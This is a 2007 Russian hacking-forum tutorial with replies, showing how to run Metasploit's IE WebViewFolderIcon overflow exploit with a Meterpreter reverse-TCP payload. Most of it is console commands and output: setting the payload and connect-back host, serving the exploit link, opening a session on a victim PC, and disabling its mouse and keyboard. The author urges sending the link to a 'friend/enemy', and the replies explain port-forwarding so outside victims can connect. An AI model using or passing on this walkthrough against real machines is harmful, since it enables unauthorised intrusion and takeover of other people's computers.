Авторские статьи Учимся юзать Мeterpreter (Или Metasploit Framework часть 4)

Discussion in 'Статьи' started by -=lebed=-, 31 Jan 2007.

  1. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Учимся юзать Мeterpreter (Или Metasploit Framework часть 4)

    Предисловие.​

    Если в первый раз слышите слова Мeterpreter, Metasploit Framework - то рекомендую почитать мои предыдущие статьи по Метасплоиту (ссылки на них можно найти у меня в подписи). Если их читали то можете читать дальше.
    Всё описанное в статье справедливо для версии 3.0 beta 3

    1. Что такое Мeterpreter?​
    В Предыдущих статьях (№3) частично этот вопрос поднимался и было дано определение данного понятия, но всё же я повторюсь и скажу своими словами: Мeterpreter - это особый полезный груз (начинка эксплоита) которая может выполнять не какую-либо конкретную задачу, а много функций. Даже если сравнивать его с каким-либо шелл`ом, мы увидим что он есть только для виндос и очень похож на обычный cmd-шелл.
    Ну да ладно, перейдём от теории к практике, запустим консоль, посмотрим что мы имеем (команда show).
    Code:
    msf > show
    
    Encoders
    ========
      
    ----------пропущено-----------------       
           
    NOP Generators
    ==============
    ----------пропущено-----------------           
    
    Exploits
    ========
    
       Name                                       Description                                                          
       ----                                       -----------                                                          
    ----------пропущено-----------------
       windows/browser/webview_setslice           Internet Explorer WebViewFolderIcon setSlice() Overflow              
    ----------пропущено-----------------                             
    
    
    Payloads
    ========
    ----------пропущено----------------- 
       Name                                   Description                                                                      
       ----                                   -----------                                                                      
       windows/meterpreter/bind_tcp           Windows Meterpreter, Bind TCP Stager                                             
       windows/meterpreter/find_tag           Windows Meterpreter, Find Tag Ordinal Stager                                     
       windows/meterpreter/reverse_http       Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager                      
       windows/meterpreter/reverse_ord_tcp    Windows Meterpreter, Reverse Ordinal TCP Stager                                  
       windows/meterpreter/reverse_tcp        Windows Meterpreter, Reverse TCP Stager                                          
    
    Auxiliary
    =========
    
       Name                                 Description                                                 
       ----                                 -----------                                                 
    ----------пропущено-----------------
    
    2. Выбираем сплоит.​
    Я буду показывать на примере эксплоита windows/browser/webview_setslice (буду использовать его).

    3. Выбираем начинку (собственно meterpreter - ему и посвящена статья)​
    Как мы видим meterpreter есть только для виндос (по типу соединения 5 шт.)
    Ну, ИМХО, по названию понятно, какой что делает, но всё же, для тех кто в танке, поясню:
    Code:
    Windows Meterpreter, Bind TCP Stager - тупо биндит порт Stager (Stage - стадия, ну в русском нет перевода, назову стэйжер)                                            
    Windows Meterpreter, Find Tag Ordinal Stager -  ищет порядковый тэг стэйжера                                   
    Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager - Пассивное реверсное http-туннелирование стэйжера                      
    Windows Meterpreter, Reverse Ordinal TCP Stager - Реверсный  порядковый TCP стэйжер
    Windows Meterpreter, Reverse TCP Stager - Реверсный TCP стэйжер (аналог старого доброго реверс-шелла, по типу соединения)
    
    Ну вроде прояснили, я буду использовать Reverse TCP Stager, и так выбираем сплоит и смотрим по нём инфу:
    Code:
    msf > use windows/browser/webview_setslice
    msf exploit(webview_setslice) > info
    
           Name: Internet Explorer WebViewFolderIcon setSlice() Overflow
        Version: 3783
       Platform: Windows
     Privileged: No
        License: Metasploit Framework License v1.0
    
    Provided by:
      hdm <[email protected]>
    
    Available targets:
      Id  Name                                    
      --  ----                                    
      0   Windows XP SP0-SP2 / IE 6.0SP1 English  
    
    Basic options:
      Name     Current Setting  Required  Description                                          
      ----     ---------------  --------  -----------                                          
      SRVHOST  10.0.3.44        yes       The local host to listen on.                         
      SRVPORT  8080             yes       The local port to listen on.                         
      URIPATH                   no        The URI to use for this exploit (default is random)  
    
    Payload information:
      Space: 1024
      Avoid: 1 characters
    
    Description:
      This module exploits a flaw in the WebViewFolderIcon ActiveX control 
      included with Windows 2000, Windows XP, and Windows 2003. This flaw 
      was published during the Month of Browser Bugs project (MoBB #18).
    
    References:
      http://www.osvdb.org/27110
      http://www.securityfocus.com/bid/19030
      http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html
    
    Так, WINDOWS-XP SP2 входит в число уязвимых - то что надо (под виртуалкой у меня есть такая жертва)
    Параметры меня устаривают - оставлю их по умолчанию. (URIPATH - красавец, но пусть будет случайный)

    4.Эксплуатируем.​
    Прикручиваем начинку - наш загадочный windows/meterpreter/reverse_tcp
    Code:
    msf exploit(webview_setslice) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    
    Нормально прикрутилась, пора командовать exploit
    Code:
    msf exploit(webview_setslice) > exploit
    
    [-] Exploit failed: The following options failed to validate: LHOST.
    
    Ах, да, забыли про параметр начинки LHOST, исправим:
    Code:
    msf exploit(webview_setslice) > set LHOST 10.0.3.44
    LHOST => 10.0.3.44
    msf exploit(webview_setslice) > exploit
    
    [*] Started reverse handler
    
    [*] Using URL: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
    
    [*] Server started.
    
    [*] Exploit running as background job.
    
    Всё, эксплоит запущен, веб-сервер метасплоита ждёт подключения клиента (жертвы) тут: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
    Заходим в нашу гостевую ОС WIN-XP-SP2 (ну а вы можете впаривать ссылку, предварительно её закодировав, если надо, другу/врагу, в надежде пролезть в его комп), запускаем многострадальный IE и заходим по ссылке.
    Через некоторое время (имхо, сплоит на переполнение) наблюдаем в консоли это:
    Code:
    msf exploit(webview_setslice) > 
    [*] Transmitting intermediate stager for over-sized stage...(89 bytes)
    
    [*] Sending stage (2834 bytes)
    
    [*] Sleeping before handling stage...
    
    [*] Uploading DLL (73739 bytes)...
    
    [*] Upload completed.
    
    [*] Meterpreter session 1 opened (10.0.3.44:4444 -> 10.0.3.68:1028)
    
    Попробую перевести что происходит:
    Передача промежуточного звена стэйжера для стадии с завышенными размерами (короче сами переведёте)...(89 bytes)
    Отправка стэйжера (2834 bytes)
    Бездействие перед обработкой стадии
    Заливка DLL (73739 bytes)...
    Заливка закончена.
    Meterpreter сессия 1 открыта (понятно между кем и чем)
    Ну это всё детали... главное результат! К нам подсоединился наш клиент-жертва, жмём enter в консоли, набираем sessions -i 1
    Code:
    msf exploit(webview_setslice) > sessions -i 1
    
    [*] Starting interaction with 1...
    
    meterpreter >
    
    Всё, мы в нашем загадочном meterpreter, интересно а что тут можно сделать? В самый раз скомандовать help ! (конечно все команды meterpreter лучше знать заранее)
    Code:
    meterpreter > help
    
    Core Commands
    =============
    
        Command       Description                                 
        -------       -----------                                 
        ?             Help menu                                   
        channel       Displays information about active channels  
        close         Closes a channel                            
        exit          Terminate the meterpreter session           
        help          Help menu                                   
        interact      Interacts with a channel                    
        irb           Drop into irb scripting mode                
        migrate       Migrate the server to another process       
        quit          Terminate the meterpreter session           
        read          Reads data from a channel                   
        run           Executes a meterpreter script               
        use           Load a one or more meterpreter extensions   
        write         Writes data to a channel                    
    
    
    Stdapi: File system Commands
    ============================
    
        Command       Description                                
        -------       -----------                                
        cat           Read the contents of a file to the screen  
        cd            Change directory                           
        download      Download a file or directory               
        edit          Edit a file                                
        getwd         Print working directory                    
        ls            List files                                 
        mkdir         Make directory                             
        pwd           Print working directory                    
        rmdir         Remove directory                           
        upload        Upload a file or directory                 
    
    
    Stdapi: Networking Commands
    ===========================
    
        Command       Description                               
        -------       -----------                               
        ipconfig      Display interfaces                        
        portfwd       Forward a local port to a remote service  
        route         View and modify the routing table         
    
    
    Stdapi: System Commands
    =======================
    
        Command       Description                                           
        -------       -----------                                           
        execute       Execute a command                                     
        getpid        Get the current process identifier                    
        getuid        Get the user that the server is running as            
        kill          Terminate a process                                   
        ps            List running processes                                
        reboot        Reboots the remote computer                           
        reg           Modify and interact with the remote registry          
        rev2self      Calls RevertToSelf() on the remote machine            
        shutdown      Shuts down the remote computer                        
        sysinfo       Gets information about the remote system, such as OS  
    
    
    Stdapi: User interface Commands
    ===============================
    
        Command       Description                                                  
        -------       -----------                                                  
        idletime      Returns the number of seconds the remote user has been idle  
        uictl         Control some of the user interface components                
    
    Ого сколько команд! Класс! Все команды сгруппированы по типу, что очень удобно.

    5. Внутри Мeterpreter(лазаем по чужому компу)!​
    Ну описывать сейчас каждую я не буду, имхо для знающих людей хелпа на английском достаточно. Попробуем что-нибудь из этих команд, посмотрим например версию ОС:
    Code:
    meterpreter > sysinfo
    Computer: TEST3
    OS      : Windows XP (Build 2600, Service Pack 2).
    
    Компьютер с именем TEST3 и с виндой xp-sp2 - всё верно. Посмотрим конфигурацию сети:
    Code:
    meterpreter > ipconfig
    
    Intel 21140-Based PCI Fast Ethernet  адаптер (Универсальный)
    Hardware MAC: 00:03:ff:f6:fd:00
    IP Address  : 10.0.3.68
    Netmask     : 255.0.0.0
    
    Ну и что, скажете вы, все эти команды можно сделать и в обычном реверс-шелле... Некоторые, но не все...
    Выключим у юзверя например мышку ;-)
    Code:
    meterpreter > uictl
    Usage: uictl [enable/disable] [keyboard/mouse]
    meterpreter > uictl disable mouse
    Disabling mouse...
    meterpreter > 
    
    Проверим - правда перестала работать ;-), Ну тогда и клаву тоже отрубим:
    Code:
    meterpreter > uictl disable keyboard
    Disabling keyboard...
    meterpreter > 
    
    Проверили - тоже не пашет (бедный ваш друг/враг оставшийся без интерфейсов управления своим компом ;-), Для более продвинутых будут интересны конечно следующие команды:
    Code:
        irb           Drop into irb scripting mode ------------ уйти в IRB-скрипт режим (Понравится знающим язык Руби)               
        migrate       Migrate the server to another process --- миграция сервера в другой процесс      
        quit          Terminate the meterpreter session ------- уничтожение сессии  meterpreter`а         
        read          Reads data from a channel --------------- прочитать данные из канала                  
        run           Executes a meterpreter script ----------- запустить скрипт meterpreter`а              
        use           Load a one or more meterpreter extensions загрузить одно или более расширений meterpreter`а  
        write         Writes data to a channel ---------------- писать данные в канал                    
    
    Использование этих команд - тема отдельной статьи, так как функциональность meterpreter можно с помощью них динамически (во время сессии) наращивать...

    Заключение.​
    Ну вот и всё, не так оказался страшен зверь как его именуют, вполне рабочий, многофункциональный шелл для винды, открывающий практически безграничную власть над компом юзверя.
    Удачи всем в использовании meterpreter!
     
    #1 -=lebed=-, 31 Jan 2007
    Last edited: 24 Apr 2007
    7 people like this.
  2. Ю_ЗвЕРь

    Ю_ЗвЕРь Member

    Joined:
    23 Nov 2006
    Messages:
    98
    Likes Received:
    28
    Reputations:
    1
    хех.)
    Улыбнуло. За труды благодарность.
     
  3. BrutAino

    BrutAino New Member

    Joined:
    28 Feb 2007
    Messages:
    19
    Likes Received:
    4
    Reputations:
    -2
    Code:
    [*] Starting interaction with 1...
    >> 
    
    
    (running)
    Ждём...
    Ждём...
    Ждём...
    И ничего не происходит =)
    В чём проблема?
     
  4. marioBY

    marioBY New Member

    Joined:
    6 Aug 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Прошу прощения если мой вопрос покажется Вам глупым, но всетаки... У меня ADSL модем, мой локальный ip имеет обычный вид 192.168.1.33
    Если при создании explot изменить LHOST на мой внешний ip 84.186.хх.ххх то сервер не стартует. Собственно сам вопрос: Как и, что нужно менять в настройках при создании exploit чтобы впариваемая ссылка имела вид
    [*] Using URL: http:// 84.186.хх.ххх:8080 вместо
    [*] Using URL: http:// 192.168.1.33 :8080. Надеюсь Вам понятен смысл моего вопроса. И за ранее прошу прощения если я тут спросил бональную чушь.
     
  5. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Есть LHOST у сплоита, а есть RHOST У начинки (например реверсшелл-начинка должна знать куда коннектится)
    1. Сплоит всегда висит у тебя на локалхосте, т.е. на http:// 192.168.1.33:8080. - это правильно.
    2. В конфигураторе модема ты должен настроить редирект с внешниго IP на внутренний., т.е. переадресовывать пакеты по всем портам приходящие из вне на 84.186.хх.ххх --> 192.168.1.33:8080. Тогда можно будет впарить ссылку содержащюю внешний IP, в этом случае запрос будет переадресован на внутренний IP, т.е. web-серверу метасплоита.
    ЗЫ Обо всём этом есть в предыдущих статьях (не раз описывалось).
     
    #5 -=lebed=-, 7 Aug 2007
    Last edited: 7 Aug 2007
  6. marioBY

    marioBY New Member

    Joined:
    6 Aug 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Прошу прощения за наглость, возможно я не совсем внимательно читал статьи в которых ты об этом говорил, если тебя не затруднит ткни носом в ссылку где описывается как сделать редирект. Или напиши в этой теме. За ранее огромное спаибо и ещё раз прошу прощения.
     
  7. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Напиши какой мопед у тебя, ведь я же не знаю, поэтому и ссылку не могу дать.
    А в краце всё очень просто: заходишь броузером в web-кофигуратор мопеда (если по-умолчанию, то IP его 192.168.1.1, авторизуешься, т.е. вводишь пасс или имя и пасс, топаешь в NAT и там прописываешь свой внутренний IP в портах указываешь Аll или там есть строка специальная для всех портов, туда вписываешь свой IP компа (внутренний). Всё- редирект настроен... Только в этом случае все сетевые сервисы которые крутятся у тебя на компе 'светят" в Инет и если какие-либо уязвимы, то свой комп ты подвергаешь риску быть похекнутым..Поэтому лучше открыть (редиректить) только определённые порты: в частности для web-сервера Метасплоита 8080, а вот для реверсшелла не угадаешь (по случайным портам коннект происходит).
     
    #7 -=lebed=-, 7 Aug 2007
    Last edited: 7 Aug 2007
  8. j-prof

    j-prof Banned

    Joined:
    29 Aug 2010
    Messages:
    321
    Likes Received:
    11
    Reputations:
    -4
    а вот если модэм моторолла sb5101e там вродь ничо такого нет
    и когда нмэпом сканю то в адресе до сайта нет ничо
    но к вебсерверу вроде не могут из вне подключится кричит что
    сервер сбросил соединение
    сорри если вопрос тупой :confused:
    и исчо на серваке на котором мой вебсервак крутится на 68 порту dhcpc
    а это тож с модэмами походу связано
     
    #8 j-prof, 7 Nov 2010
    Last edited: 7 Nov 2010
  9. lenar_aga

    lenar_aga New Member

    Joined:
    4 Nov 2011
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Народ, подскажите как создать сессию с удаленным хостом с помощью meterpreter не используя сплоиты?
    дело в том, что на удаленном компе знаю учетку локального администратора.
    есть ли в новом метасплойте какой то вариант с загрузкой meterpreter без участия эксплоитов?
     
  10. neofit

    neofit Banned

    Joined:
    14 Nov 2009
    Messages:
    223
    Likes Received:
    14
    Reputations:
    0
    во всех версиях есть ./msfpayload модуль.
     
  11. lenar_aga

    lenar_aga New Member

    Joined:
    4 Nov 2011
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    payload в моем представление загружается когда уже есть какая до дыра, через которую можно загрузиться, после действия эксплоита, например.
    Если просто так указываю, вот к примеру эту штуку:
    Windows Manage Memory Payload Injection Module
    Payload: windows/meterpreter/reverse_tcp
    то получаю
    The following options failed to validate: SESSION.
     
  12. lenar_aga

    lenar_aga New Member

    Joined:
    4 Nov 2011
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    разобрался... ответ тут https://community.rapid7.com/message/1950#1950
     
  13. ZEPHYR

    ZEPHYR Member

    Joined:
    31 May 2013
    Messages:
    211
    Likes Received:
    7
    Reputations:
    5
    А можно побольше инфы по команде /URIPATH? И по обфускации что-то, пожалуйста.